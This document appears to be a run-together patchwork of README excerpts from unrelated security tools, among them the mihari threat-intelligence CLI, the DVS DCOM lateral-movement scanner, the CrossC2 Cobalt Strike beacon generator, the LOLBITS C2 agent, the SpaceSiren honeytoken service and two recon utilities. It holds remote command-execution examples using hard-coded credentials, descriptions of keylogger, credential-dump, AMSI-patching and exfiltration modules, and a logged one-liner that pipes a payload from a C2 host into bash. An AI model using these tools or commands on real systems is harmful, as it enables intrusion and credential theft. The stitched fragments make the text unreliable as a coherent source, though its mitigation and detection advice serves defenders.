  mihari securitytrails [IP|DOMAIN|EMAIL]     # SecurityTrails lookup by an ip, domain or    email
  mihari securitytrails_domain_feed [REGEXP]  # SecurityTrails new domain feed search by a regexp
  mihari shodan [QUERY]                       # Shodan host search by a query
  mihari ssh_fingerprint [FINGERPRINT]        # Cross search with search engines by an SSH fingerprint (e.g. dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0)
  mihari status                               # Show the current configuration status
  mihari urlscan [QUERY]                      # urlscan search by a given query
  mihari virustotal [IP|DOMAIN]               # VirusTotal resolutions lookup by an ip or domain
  mihari zoomeye [QUERY]                      # ZoomEye search by a query

Options:
  [--config=CONFIG]  # path to config file

$ mihari help http_hash
Usage:
  mihari http_hash

Options:
  [--title=TITLE]              # title
  [--description=DESCRIPTION]  # description
  [--tags=one two three]       # tags
  [--md5=MD5]                  # MD5 hash
  [--sha256=SHA256]            # SHA256 hash
  [--mmh3=N]                   # MurmurHash3 hash

Cross search with search engines by a hash of an HTTP response (SHA256, MD5 and MurmurHash3)

mihari http_hash --md5=881191f7736b5b8cfad5959ca99d2a51 --sha256=b064187ebdc51721708ad98cd89dacc346017cb0fb0457d530032d387f1ff20e --mmh3=-1467534799

wget http://example.com -O /tmp/index.html
mihari http_hash --html /tmp/index.html

# Censys lookup for PANDA C2
mihari censys '("PANDA" AND "SMAdmin" AND "layui")' --title "PANDA C2"

# VirusTotal passive DNS lookup of a FAKESPY host
mihari virustotal "jppost-hi.top" --title "FAKESPY passive DNS"

# You can pass a "defanged" indicator as an input
mihari virustotal "jppost-hi[.]top" --title "FAKESPY passive DNS"

echo '{ "title": "test", "description": "test", "artifacts": ["1.1.1.1", "github.com", "2.2.2.2"] }' | mihari import_from_json

{
  "title": "test",
  "description": "test",
  "artifacts": ["1.1.1.1", "github.com"],
  "tags": ["test"]
}

mihari virustotal 1.1.1.1 --config /path/to/yaml.yml

database: /tmp/mihari.db
thehive_api_endpoint: https://localhost
thehive_api_key: foo
virustotal_api_key: foo

mihari status

require "mihari"

module Mihari
  module Analyzers
    class Example < Base
      def title
        "example"
      end

      def description
        "example"
      end

      def artifacts
        ["9.9.9.9", "example.com"]
      end

      def tags
        ["example"]
      end
    end
  end
end

example = Mihari::Analyzers::Example.new
example.run

$ docker run --rm ninoseki/mihari
# Note that you should pass configurations via environment variables
$ docker run --rm ninoseki/mihari -e THEHIVE_API_ENDPOINT="http://THEHIVE_URL" -e THEHIVE_API_KEY="API KEY" mihari
# or
$ docker run --rm ninoseki/mihari --env-file ~/.mihari.env mihari

• Registry access
  
  1. Probe port 445 port in order to interact with the remote registry
  2. Check if the remote-registry is enabled
  3. Interact with the remote registry
  4. If AutoGrant mode is flagged, check write permissions. otherwise, check read permissions
• Standard Registry Provider (If remote-registry denied)
  
  1. Probe port 135 in order to interact with the "Standard Registry Provider" using WMI
  2. Check if the StdRegProv is accessible
  3. Interact with the Standard Registry Provider
  4. If AutoGrant mode is flagged, check for write permissions, otherwise, check for read permissions

• Basic actions
  
  1. Authentication operations (if SkipRegAuth is not flagged)
     1. If credentials are provided, it creates a "net-only" session. otherwise, it will use the current-logged on session.
     2. Probe registry access.
  2. Check if DCOM feature is enabled
  3. Allow DCOM Access (if AutoGrant flagged), otherwise fail
  4. Check if the logged-on user/provided user and the groups the user is a member of (Via adsi/WindowsIdentity feature), are granted to interact with the DCOM (via remote registry queries)
  5. Grant permissions (if AutoGrant flagged), otherwise, fail
  6. Resolve domain name from remote machine using NetBIOS over TCP(Using NetAPI32, or UDP Packet), if it fails it will try using the registry (HKLM or HKCU Hives)
• Invoke-DCOMObjectScan
  
  1. Interact with DCOM objects
  2. Enumerate the DCOM object and find vulnerable functions
  3. Validate exploitation possibility
  4. Generate execution payloads
  5. Fetch personal information about the vulnerable DCOM object
• Get-ExecutionCommand
  
  1. Generate execution payloads
• Invoke-ExecutionCommand
  
  1. Try to interact with DCOM objects
  2. Execute the commands
• Invoke-RegisterRemoteSchema
  
  1. Try to interact with one of the following DCOM Objects:
     • InternetExplorer.Application - InternetExplorer COM Object
     • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Another COMObjects belongs to Internet Explorer
     • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
     • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
  2. Register remote schema (e.g. http://)
  3. Configure the schema to execute commands from the schema content
  4. Execute the command

• Security rights analyzer - Analyzing principal-identity rights to access the remote DCOM object
• Remote grant access - Grants logged-on user permissions remotely (In case they were not already granted)
• DCOM Scanner - Scan and analyze remote/local DCOM objects for vulnerable functions that are provided (Patterns and function names must be specified) When the tool detects a vulnerable function, it will check what arguments the function includes and if the function has the ability to execute commands
• DCOM command generator - Generates a PowerShell payload in order to execute on the remote machine
• Report - Generates a CSV report with all the information about the vulnerable DCOM object
• Command Execution - Execute commands through DCOM objects

• Nimrod Levy

• GPL v3

• Out-of domain to domain
• From inside the domain to another domain-joined machine
• From domain to out-of-domain
• From current-session to another domain-joined machine

• Windows 7 SP1
• Windows 8.1
• Windows 10
• Windows Server 2019

• Thanks to Rafel Ivgi for mentoring, and helping with the architecture mindset of the tool.
• Thanks to Yossi Sasi for helping me to optimize the script.
• Thanks to Gleb Glazkov for writing the mitigation and preventions section

git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command

• Examples:
  
  1. Enumerates and Scan MMC20.Application (ProgID) object from the attacker machine to the DC01 host without querying the registry.
     

        Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose

  Note: The tool will not analyze ACL permissions, and when the tool will success, it will resolve all the information about the object, except the details mentioned on the registry(Like object name, executable file, etc.)
  
  2. Check whether the MMC20.Application (ProgID) object is accessible from the attacker machine to the DC01 host without first querying and verifying the access list of the DCOM object.
     

        PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose

  3. Validates whether the MMC20.Application (ProgID) is applicable through 10.211.55.4/24 range. If exists, he tool will try to enumerate the information about it. (using the current logged-on user session).
     

        PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose

  4. Validates if the {00020812-0000-0000-C000-000000000046} CLSID through 10.211.55.4 ip address object exists and accessible. If exists, the tool will resolve the information about it. (By using lab\administrator credentials).
     

        PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   

  5. Scans all the objects stored on a specified path (e.g. C:\Users\USERNAME\Desktop\DVS\objects.txt) through 10.211.55.4 ip address, and finds the function list located in the specified file like vulnerable.txt using the lab\administrator credentials with the following configuration:
     Max depth: 4
     Max results: 1 (1 result for each object)
     AutoGrant mode: If we don't have access to the object or if the DCOM feature is disabled, enable the DCOM feature and perform automatic grant to the relevant DCOM object.
     Finally, revert the machine to the same state as before the attack.
     

        PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose

  6. Scans all the objects stored on the available remote machines from the 10.211.55.1/24 range and finds potential vulnerable functions from the list located on the selected file (e.g. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt).
     

        PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -Hostlist "10.211.55.1/24" -Verbose

• Examples:
  1. Checks if the principal-identity is granted to interact with {00020812-0000-0000-C000-000000000046} CLSID object through 10.211.55.4 ip address using lab\administrator credentials, then it will generates the execution command.
     

        PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose

  2. Checks for DCOM access,
     In case the principal-identity doesn't have the necessary permissions or the DCOM feature is disabled, the tool will enable the DCOM feature, grants identity access and interacts with MMC20.Application (ProgID) object through 10.211.55.4 ip address using lab\administrator credentials, and will generates you the execution command.
     Finally, it will revert the machine to the same state as before the attack.
     

        PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose

  3. Tries to interact with MMC20.Application (ProgID) object through 10.211.55.1/24 range using current logged-on session without analyze ACL permissions then it will generates the execution command.
     

        PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose

  4. Tries to interact with MMC20.Application (ProgID) object through 10.211.55.4 ip address, without querying the registry.
     

        PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose

• Examples:
  
  1. Checks for DCOM access,
     In case the principal-identity doesn't have the necessary permissions or the DCOM feature is disabled, the tool will enable the DCOM feature, grant access, Interact with MMC20.Application (ProgID) object through the range: 10.211.55.1/24 using current logged-on user session and Execute the following commands:
     
     1. Executes cmd.exe /c calc command
        
     2. Set Frame.Top attribute to 1 Finally, revert the machine to the same state as before the attack.
        

         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose

  2. Tries to interact with MMC20.Application (ProgID) object using lab\administrator credentials through 10.211.55.4 ip address, and executes the following command: cmd.exe /c calc.
     

        PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose

  3. Tries to interact with MMC20.Application (ProgID) object using current logged-on user session without analyze ACL permissions, and executes the following command: cmd.exe /c calc.
     

        PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose

• ShellBrowserWindow
• ShellWindows
• Internet Explorer
• ielowutil.exe

• Examples:
  1. Executes cmd /c calc command on 10.211.55.1/24 range using the current logged-on session, and grant privileges if is needed
     

        PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose

  2. Executes cmd /c calc command on 10.211.55.4 remote machine using provided credentials
     

        PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose

• Analyze and change firewall rules remotely

• Disable remote DCOM access
  
  • considerations:
    • Third-party applications dependent on DCOM
    • Remote system management using "Windows Management Instrumentation" will not work
    • Possible problems with COM objects
• Disallow remote registry access if not required
  Both options are hard to implement in an enterprise environment without an impact on availability.
  Nevertheless, it can be a good hardening option for endpoints that don't need domain remote management. (e.g. standalone endpoints)
  
• Enable Domain and Private Profiles in Windows Defender Firewall
  
  • The DVS tool bypasses this security control by creating a rule in the firewall to allow any Dynamic RPC connection
• Move to using LAPS in order to reduce the attack surface. If each computer in the domain has a different local administrator password, this account can't be used for lateral movement.
  
• Hardening user access rights can prevent this attack
  
  • By using Group Policy Objects an organization can remove administrators, users and other groups from the list, and move to using a special group/user for central management that does not interactivly log in to other computers
    

    [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]

    In Official hardening guides like CIS the recommend setting of [Access this computer from the network] is with the values of "administrators and Remote Desktop Users or Authenticated users". This recommendations are vulnerable to the DVS tool.
    
• Harden the DCOM permissions by removing the rights of administrators from the permissions - Remote Launch and Remote Activation.
  
  • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) syntax
• Use a host-based firewall / application-aware firewall to block DCOM access between computers. Especially for a computer which is not part of the IT or management infrastructure.
  
• Application control rules can be used as last circle of security controls to prevent vulnerable processes from spawning dangerous child processes or loading DLLs.
  Examples:
  

  mmc.exe -> cmd.exe
  explorer.exe -> regsvr.exe
  visio.exe -> wmic.exe
  excel.exe -> Rundll32.exe
  outlook.exe -> cmd.exe

• Microsoft attack surface reduction rules can be used to prevent vulnerable processes from spawning dangerous child processes.
  

• Monitor changes on the registry in the following locations:
  

     [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]

  This key is the DCOM permission settings. If they are changed it can mean that an adversary that used the DVS tool has removed the hardenning.
  

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]

  "The subkeys and registry values associated with the [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] key contain information about an application that is needed to support COM functionality. This information includes such topics as supported data formats, compatibility information, programmatic identifiers, DCOM, and controls." Microsoft dev center referense
  

    [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]

  This key change may indicate that the DVS tool has disabled the DCOM remote activation and Remote Lauch restrictions.
  
• Use an application aware firewall to block DCOM access between computers. Especially from a computer which is not part of the IT or management infrastructure.
  
• Intrusion prevention system (e.g. Snort, Suricata) can be used to detect DCOM protocol which is based on RPC (MS-RPC, MS-RPCE) and Remote registry protocol (MS-RRP).
  
  • Possible Snort rule
• Monitor Windows Defender firewall by enabling audit log on blocked traffic for domain and private profiles.
  
• Monitor changes to the following key. It may indicate that the DVS tool has created a rule to bypass the Microsoft Defender Firewall dynamic RPC restrictions.
  

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]

• Monitor Windows event logs:
  Enable audit of events. Audit settings that should be enabled on success and failure: Audit account logon events | Audit logon events | Audit object access | NTLM Auditing
  Browse to this registry key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Create new DWORDs with value of '1' called ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel
  
  • 4624 (Successful Logon) - A blue team can create correlation of events to catch connections from remote machines to DCOM. An example:
    • event ID 4624 - Logon
    • Account Name: SYSTEM
    • Process Name: C:\Windows\System32\services.exe
  • 4680 (Unkown user or bad password) - Will occur when using a wrong user or password
  • 4688 (Process Creation) - Monitor vulnerable processes that create dangerous sub processes using an administrative user. Example:
    • Creator Process Name: C:\Windows\System32\mmc.exe -> New Process Name: C:\Windows\System32\cmd.exe
    • Creator Process Name: C:\Windows\System32\svchost.exe -> New Process Name: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - Audit Incoming NTLM Traffic that would be blocked. Example:
    • Calling process name: C:\Windows\System32\mmc.exe
    • Calling process user identity: USER
    • Calling process domain identity: DOMAIN
  • 8003 (NTLM) - Audit NTLM authentication in this domain. Example:
    • User: User
    • Domain: DOMAIN
    • Workstation: ATTACKER
    • Process: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • Logon type: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - The server %1 did not register with DCOM within the required timeout.
  • 10014 (Microsoft-Windows-DistributedCOM) - for failed CLSID activasion due to disabled remote activation settings for COM+.
  • 10015 (Microsoft-Windows-DistributedCOM) - failed DCOM execution due to insufficient permissions.
  • 10016 (Microsoft-Windows-DistributedCOM) - failed DCOM execution due to insufficient permissions. Example:
    • The machine-default permission settings do not grant Local Activation permission for the COM Server application with CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} and APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} to the user DOMAIN\Scorpiones
  • 10021 (Microsoft-Windows-DistributedCOM) - The launch and activation security descriptor for the COM Server application with APPID {0000000} is invalid.

• CobaltStrike: currently only supports the last version of cs 3.14(bug fixs).
• Linux: For particularly old systems, you can choose "Linux-GLIBC" option in cna (around 2010)
• MacOS: Latest systems only support 64-bit programs
• iOS: sandbox, restricted cmd
• Embedded: only *nix
• ⍻ : Loader is still in progress

Download:

• CrossC2.cna
• genCrossC2(If it is a Windows system, download genCrossC2.Win.exe)

1. choose Script Manager，add CrossC2.cna (If successfully installed, the menu bar will have an additional item CrossC2)
2. Modify the genCC2 path in the CrossC2.cna script to the real path

77:    $genCC2 = "/xxx/xx/xx/genCrossC2.MacOS";  # <-------- fix

Create listener and copy key:

1. Password dump module: cc2_mimipenguin uses the open source project MimiPenguin2.0, see CrossC2Kit/ mimipenguin/mimipenguin.cna
   
2. Authentication backdoor modules: cc2_auth, cc2_ssh sudo / su / passwd and other authentication backdoors, ssh is connected and the credentials to connect to other hosts will be recorded.
   
3. Information collection modules: cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump access records of common browsers, as well as iMessage chat content and authentication credentials saved in the keychain will be obtained.
   
4. Traffic proxy module: cc2_frp supports fast TCP/KCP(UDP) reverse socks5 encrypted traffic proxy.
   
5. Keylogger module: cc2_keylogger records user's keyboard input.
   
6. Network detection module: cc2_portscan, cc2_serverscan for port scanning and service version scanning.
   
7. Privilege promotion module: cc2_prompt_spoof induces deception to obtain user account password.
   
8. Task management module: cc2_job manages the modules running in memory.
   
9. ...
   

1. 生成 Linux-bind / MacOS-bind类型的beacon
2. 内网中的目标运行 ./MacOS-bind.beacon <port>开启服务
3. 在网络联通的session中运行 connect <targetIP>:<port>

Menu Bar: CrossC2 -> CrossC2 Payload Generator -> genCrossC2

Can be configured in the pop-up dialog:
1. Select beacon_key (the path cannot contain spaces, the problem is not solved yet)
2. A dynamic library of custom communication protocols that needs to be bound to beacon
3. Payload type (Staged generated shellcode requires stagerServer)

05/01 23:31:03 *** /mnt/cc2/genCrossC2.MacOS 172.16.251.1 5555 /tmp/beacon_keys null MacOS x64 /tmp/CrossC2-test
05/01 23:31:06 *** genCrossC2 beacon -> *[success] : Packed 1532232 byte.
05/01 23:31:07 *** hook hosted CrossC2 beacon MacOS x64 @ http://172.16.251.1:55413/iqEBVKwHoZ
05/01 23:31:07 *** hook hosted Script Unix Web Delivery (curl) @ http://172.16.251.1:55413/a
05/01 23:31:07 *** CrossC2 MacOS x64:   curl -A o -o- -L http://172.16.251.1:55413/a | bash -s

1. Rich C2Profile support ✔︎ (Choose custom HTTP module when CNA generates beaocn)
2. Staged Type Shellcode Generation ✔︎ (Only Linux is temporarily supported, and stagerServer needs to be started on the server)
3. http-proxy (auth) & socks proxy back connection support
4. Proxy-Pivots ✔︎ (Temporarily adopt the method of connecting back to socks proxy)
5. node beacon? (Single node type, can host other beacon without relying on teamserver)

• -fix Fix the problem of path errors caused by backslashes when uploading files in the file management office
• -fix Long-term testing in various scenarios in the real environment, fixing some hidden problems, and now more stable
• +support Support for lower kernel version systems
• +support Environment variables are automatically set at startup
• +support Delete sensitive env records at startup
• +support The background service process can be linked to the init process at startup
• +support Increase session spawn function
• +support Increase the function of session setting environment variables
• +support Increase the privilege escalation function of session getsystem
• +support Increase session analysis function to handle multiple merge tasks
• +support Increase Mac & Linux lateral movement function

• -fix genCrossC2's bug about protocol rebinding.

• -fix Linux daemon process and joblist display problem.

• +support Support custom communication protocol (HTTP, TCP, UDP...) .
• +support A new joblist module has been added to manage programs running without files in persistent memory.
• +support Reverse proxy module{TCP/KCP(UDP)} that executes without files in memory.

• +support Support manual selection of key files.
• +support Support to generate shellcode.
• -change No longer rely on cobaltstrike.jar (plug-ins can be placed in any directory).
• -change More flexible and convenient Script Unix Web Delivery.

• -fix Multi-language garbled problem fix for memory load execution function

• -fix Test multiple times for a long time in multiple scenarios in real environment, fix some hidden problems, now more stable
• +support Linux & MacOS Supports no file landing, loading and executing from memory
• +support Reserved CS built-in data types, richer user-defined plug-in return data types, free and easy to implement 'portscan' and other native functions

• -change Multi-threaded background when shell commands are executed
• -change Redirect error output to standard output when shell command is executed.
• +support Add background file download function.

• +support Compatibility with older versions of GLIBC on older systems Linux (around 2010).

• -fix genCrossC2.Linux crash.
• -fix uploading large file error.
• +support GUI file manager.

• Support Linux & MacOS beacon generation.

From Wikipedia: The term kill chain was originally used as a military concept related to the structure of an attack; consisting of target identification, force dispatch to target, decision, order to attack the target, and finally the destruction of the target.

• Reconnaissance– Uses social engineering to find weaknesses in the target’s security posture.
• Weaponization– Crafting attack tools for the target system.
• Delivery– Delivering the attack tools to the target system.
• Exploit– The malicious file intended for an application target system or the operating system vulnerabilities control objectives is opened by the victim on target system.
• Installation– Remote control program installed on target system.
• Command & Control– Successfully compromised hosts will create a C2 channel on the Internet to establish a connection with the C2 server.
• Actions– After the preceding process, the attacker will continue to steal information about the target system, undermine the integrity and availability of information, and further to control the machine to jump to attack other machines, to expand the sphere of influence.

1. Tor -- For the console build-in anonymizer.
   
2. Set -- Social-Engineer Toolkit (SET), attacks against humans.
   
3. OpenVas -- Vulnerability scanning and vulnerability management.
   
4. Veil-Evasion -- Generate metasploit payloads bypass anti-virus.
   
5. Websploit -- WebSploit Advanced MITM Framework.
   
6. Metasploit -- Executing exploit code against target.
   
7. WiFite -- Automated wireless auditor, designed for Linux.

• ETW and AMSI patching.
• Use of direct syscalls to avoid EDR usermode API hooking.
• Manual mapping of kernel32.dll and advapi32.dll in combination with DInvoke.
• Basic Sandbox detection before establishing the communication channel with the C2 backend.
• Use of BITS in background mode to generate the communication channel without disturbing the user experience.

• The C# agent that is in charge of executing the commands in the compromised host, sending back the output to the C2 server once the task is completed.
• The flask web application that acts as a dispatcher. This element is the one that allows to hide the C2 infrastructure behind a harmless website at the same time that supplies the new commands to the agent when an authenticated request is received.
• The C2 console, used to control the agent.

• Salsa Tools
• Dinvoke
• SharpSploit
• Windows System Call Table
• CheckPlease for Sandbox Evasion

• Visual Studio 2017 or above.
• .NET Framework 4.5 or above.

git clone https://github.com/Kudaes/LOLBITS.git

• download: Download a file from a remote Webdav to the compromised host.
• base64encode: Use base64 to encode a local file content.
• base64decode: Decode a base64 encoded file.
• compile: Compile .cs files into .exe or .dll.

• inject: Download from the C2 a shellcode (.bin) or PE (.NET assembly) file and execute it in memory. With this command the payload never touches disk unencrypted, avoiding AV detection. .NET assemblies can only be loaded in the same calling process, while shellcode are allowed to be injected in both own and other processes (only x64 processes).
• psh: Generate a Powershell reverse shell. This shell has to be handled by additional software like netcat (just run nc -lvp ).
• send: To send a file from your C2 to the compromised host just use this option. The sent file will be store unencrypted on disk.
• getsystem: Attempt to obtain System privileges. High integrity level required.
• impersonate: Attempt to steal an access token from other process in order to "become" another user.
• runas: Use valid credentials to modify your security context and log in as other (local or domain) user.
• rev2self: Remove security context changes performed by getsystem, impersonate or runas.
• exfiltrate: Send a file from the compromised host to your C2.

• SpaceSiren provides an API to create no-permission AWS IAM users and access keys for those users.
• You sprinkle the access keys wherever you like, for example in proprietary code or private data stores.
• If one of those sources gets breached, an attacker is likely to use the stolen key to see what they can do with it.
• You will receive an alert that someone attempted to use the key.

• Email
• PagerDuty
• Slack
• Pushover

• Getting Started
• Alerts
• API Documentation
• Terraform Variables

• Terraform >= 0.13
• AWS CLI
• A dedicated AWS account with admin access
• A registered domain

• Basic Terraform
• Basic REST API
• Basic AWS CLI, S3, and Route 53
• Basic AWS Organizations and IAM Roles for cross-account access
• Intermediate DNS (delegating a (sub)domain with NS records)

• Atlassian for Project SpaceCrab, the inspiration for this project. If you want to read about why I started SpaceSiren, please see my SpaceCrab critique page.
• The wonderful and talented Alia Mancisidor for the artwork.
• Anyone who volunteered to test this application for me.

1. While SpaceSiren was designed to run as cheaply as possible, even for individuals, it will not be entirely free of operating costs. You will incur nominal costs for DynamoDB, Lambda, API Gateway, Route 53, and perhaps CloudTrail, depending on your configuration. You should expect to spend between $1 and $5 per month to run SpaceSiren. Of course, the project's maintainers are not responsible for any actual costs you incur. Please closely monitor your AWS bill while it is in use.

• Public Programs - public bug bounty programs indexed and searchable with filters (live)
• Domains - domains in scope across programs (live)
• Private Programs - support for private programs (September 2020)
• Notifications - webhook alerts when programs are created, updated or domains discovered (September 2020)
• Endpoints - all HTTP and non-HTTP endpoints in scope across all programs (October 2020)

$ pip3 install bbrecon

bbrecon requires Python >= 3.8 - if pip tells you it can't find bbrecon it's probably because pip is using another Python version. Check this with pip3 --version.

$ bbrecon configure key
Enter your API key: YOUR_API_KEY

$ bbrecon get programs --type web --since last-month
SLUG         PLATFORM     CREATED     REWARDS      MIN.BOUNTY    AVG.BOUNTY    MAX.BOUNTY      SCOPES  TYPES
cybrary      bugcrowd     2020-07-22  fame         $0            $0            $0                   6  android,ios,web
expressvpn   bugcrowd     2020-07-14  cash,fame    $150          $1047         $2500               17  android,ios,other,web
prestashop   yeswehack    2020-07-23  cash         $0            $0            $1000                1  web
...

$ bbrecon get scopes rockset codefi-bbp
SLUG        PLATFORM    TYPE    VALUE
rockset     hackerone   web     console.rockset.com
rockset     hackerone   web     docs.rockset.com
rockset     hackerone   web     api.rs2.usw2.rockset.com
codefi-bbp  hackerone   web     activate.codefi.network

$ bbrecon get domains dropcontact rebellion-defense
SLUG               DOMAIN                    CREATED
dropcontact        www.dropcontact.io        2020-08-23
rebellion-defense  mooch.rip                 2020-08-23
rebellion-defense  www.rebelliondefense.com  2020-08-23
rebellion-defense  rebelliondefense.com      2020-08-23
...

$ bbrecon get programs --output json
[
    {
        "url": "https://bugcrowd.com/optimizely",
        "name": "Optimizely",
        "platform": "bugcrowd",
        "rewards": [
            "cash",
            "fame"
        ],
...

$ bbrecon get programs twago optimizely
SLUG        PLATFORM    CREATED     REWARDS    MIN.BOUNTY    AVG.BOUNTY    MAX.BOUNTY      SCOPES  TYPES
twago       intigriti   2020-04-09             $0            $0            $0                   5  web
optimizely  bugcrowd    2018-03-22  cash,fame  $0            $750          $5000                6  web

$ bbrecon get programs --help
...
                                  Output format.  [default: wide]
  -n, --name TEXT                 Filter by name.
  -t, --type TEXT                 Filter by scope type. Can be used multiple
                                  times.

  -r, --reward TEXT               Filter by reward type. Can be used multiple
                                  times.

  -p, --platform TEXT             Filter by platform. Can be used multiple
                                  times.

  --exclude-platform TEXT         Exclude specific platform. Ignored if
                                  --platform was passed. Can be used multiple
                                  times.

  -s, --since TEXT                Filter by bounties created after a certain
                                  date. A specific date in the format
                                  '%Y-%m-%d' can be supplied. Alte   rnatively,
                                  the following keywords are supported:
                                  'yesterday', 'last-week', 'last-month',
                                  'last-year' as well as 'last-X-days' (where
                                  'X' is an integer).
...

$ bbrecon get programs --type android --type ios
SLUG           PLATFORM     CREATED     REWARDS      MIN.BOUNTY    AVG.BOUNTY    MAX.BOUNTY  SCOPES  TYPES
square         bugcrowd     2018-03-22  cash,fame    $300          $492          $5000            4  android,ios,other,web
gojek          bugcrowd     2018-03-22  cash,fame    $200          $618          $5000            4  android,ios,web
smartthings    bugcrowd     2018-03-22  fame         $0            $0            $0               5  android,hardware,ios,web
...

from bbrecon import BugBountyRecon

bb = BugBountyRecon(token=API_TOKEN)

programs = bb.programs(
    types=["web", "ios"],
    platforms=["hackerone"],
    rewards=["cash"],
)

for program in programs:
    print(f"{program.name} rewards up to ${program.maximum_bounty}!")
    print(f"More information is available at: {program.url}")

    for scope in program.in_scope:
        if scope.type == "desktop":
            print("Found a desktop app in scope for this program. Cool!")

• Any Linux Operating System (Debian, Ubuntu, CentOS)
• Termux

git clone https://github.com/radioactivetobi/geo-recon.git
cd geo-recon
chmod +x geo-recon.py
pip install -r requirements.txt

git clone https://github.com/radioactivetobi/geo-recon.git
cd geo-recon
chmod +x geo-recon.py
pip install -r requirements.txt

root@kali:~/geo-recon# python geo-recon.py 138.121.128.19

░██████╗░███████╗░█████╗░  ██████╗░███████╗░█████╗░░█████╗░███╗░░██╗
██╔════╝░██╔════╝██╔══██╗  ██╔══██╗██╔════╝██╔══██╗██╔══██╗████╗░██║
██║░░██╗░█████╗░░██║░░██║  ██████╔╝█████╗░░██║░░╚═╝██║░░██║██╔██╗██║
██║░░╚██╗██╔══╝░░██║░░██║  ██╔══██╗██╔══╝░░██║░░██╗██║░░██║██║╚████║
╚██████╔╝███████╗╚█████╔╝  ██║░░██║███████╗╚█████╔╝╚█████╔╝██║░╚███║
░╚═════╝░╚══════╝░╚════╝░  ╚═╝░░╚═╝╚══════╝░╚════╝░░╚════╝░╚═╝░░╚══╝

                            By d3xt3r_182
 Github: https://github.com/radioactivetobi | Twitter: @d3xt3r_182
            Usage: python geo-recon.py <IPADDRESS> 



[*] Running Geo-location Check Against 138.121.128.19

Country: Brazil
Region: Piaui
City: Teresina
Organization: Itech Telecom
ISP: Itech Telecom

[*] Geo-IP Lookup Complete!!!


[*] Running Reputation Check Against 138.121.128.19

Domain: "redeitechtelecom.com.br"
Hostname: []
Usage Type: "Fixed Line ISP"
Confidence of Abuse: 100
Number Times of Reported: 982
Last Reported: "2020-08-21T16:43:12+00:00"
Whitelisted: false

